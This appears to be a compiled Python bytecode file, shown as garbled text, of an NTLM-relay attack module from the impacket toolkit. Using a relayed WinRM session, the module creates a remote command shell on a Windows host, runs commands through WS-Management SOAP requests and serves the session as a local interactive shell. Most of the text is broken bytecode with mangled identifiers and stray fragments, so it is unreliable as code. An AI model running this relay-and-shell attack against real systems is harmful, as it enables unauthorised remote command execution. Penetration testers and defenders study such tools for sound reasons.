o
j' @ sn d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dlm Z dZ
G dd dej Z G dd deZ
dS ) N)LOG)ProtocolAttack)TcpShell WINRMAttackc @ s4 e Zd Zdd Zdd Zdd Zdd Zd d
Zd S )
WinRMShellc C s t jj| |j|jd |jt_|jt_|jt_d| _|| _|| _ d| _
d | _ d| _ d| _
d | _g | _d | _d}t|dd}| j jd d
||d | j }td | }ra|d
| _d S d S )N)stdinstdoutFz
# z Type help for list of commandsTa^
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a
http://schemas.xmlsoap.org/ws/2004/09/transfer/Create
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
PT20S
153600
FALSE
437
stdin
stdout stderr
"application/soap+xml;charset=UTF-8zContent-Lengthz Content-TypePOST/wsmanheadersbodyz/(.*?) )cmdCmd__init__r r sysstderr use_rawinputshellclientprompttidintrologgedIn last_output
completionshell_idlenrequest getresponseresearchreaddecodegroup)self tcp_shellr initiate_shellr resmatch r- /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/winrmattack.pyr s. )
zWinRMShell.__init__c C s d S Nr- )r( r- r- r. emptylinee s zWinRMShell.emptylinec C sH | sd S | dkr| d| j d| d}| jjddtt|dd|d | j }| }t
d
| d }d | j d
| d}| jjddtt|dd|d | j }| }t
d|}|D ]4}zt|j ddd } | rt| W qm ty }
ztd|
t| W Y d }
~
qmd }
~
ww d S )NexitaH
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command
uuid:10000000-0000-0000-0000-000000000002
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
z
zr
r r r r
r
z$(.*?)r aH
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive
uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
z
stdout stderr
z1]*>(.*?)zutf-8ignore)errorszFailed to decode output: )stripdo_exitr r r! strr r" r% r& r# r$ r' findallbase64 b64decodeprint Exceptionr error) r( commandexecute_command_xmlresponser
command_id receive_xmlmatchesr, command_outputer- r- r. onecmdh sX
zWinRMShell.onecmdc C sd d| j d}t|dd}| jjdd||d | j }| | jd ur+| j t d d S )
Na
http://windows-host:5985/wsman
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete
uuid:10000000-0000-0000-0000-000000000004
http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd
z
r r
r r r
zEWinRM shell destroyed successfully. You can now leave the NC shell :)T)
r r r r! r" r% r closer info)r(
destroy_shellr r+ r- r- r. r5 s
zWinRMShell.do_exitc C s t d dS )NzBye!
T)r: )r( liner- r- r. do_EOF s zWinRMShell.do_EOFN)__name__
__module__ __qualname__r r0 rE r5 rJ r- r- r- r. r s Ib +r c @ s$ e Zd ZdgZdddZdd ZdS )r WINRMSNc C s t | ||||| t | _d S r/ )r r r r) )r( config WINRMClientusernametarget relay_clientr- r- r. r s zWINRMAttack.__init__c C s8 t d| jj | j t| j| j}| d S )Nz6Started interactive WinRMS shell via TCP on 127.0.0.1:)r rG r) portlistenr r cmdloop)r( r r- r- r. run s
zWINRMAttack.run)NN)rK rL rM PLUGIN_NAMESr rW r- r- r- r. r s
)r# r r r8 impacketr $impacket.examples.ntlmrelayx.attacksr +impacket.examples.ntlmrelayx.utils.tcpshellr PROTOCOL_ATTACK_CLASSr r r r- r- r- r. s `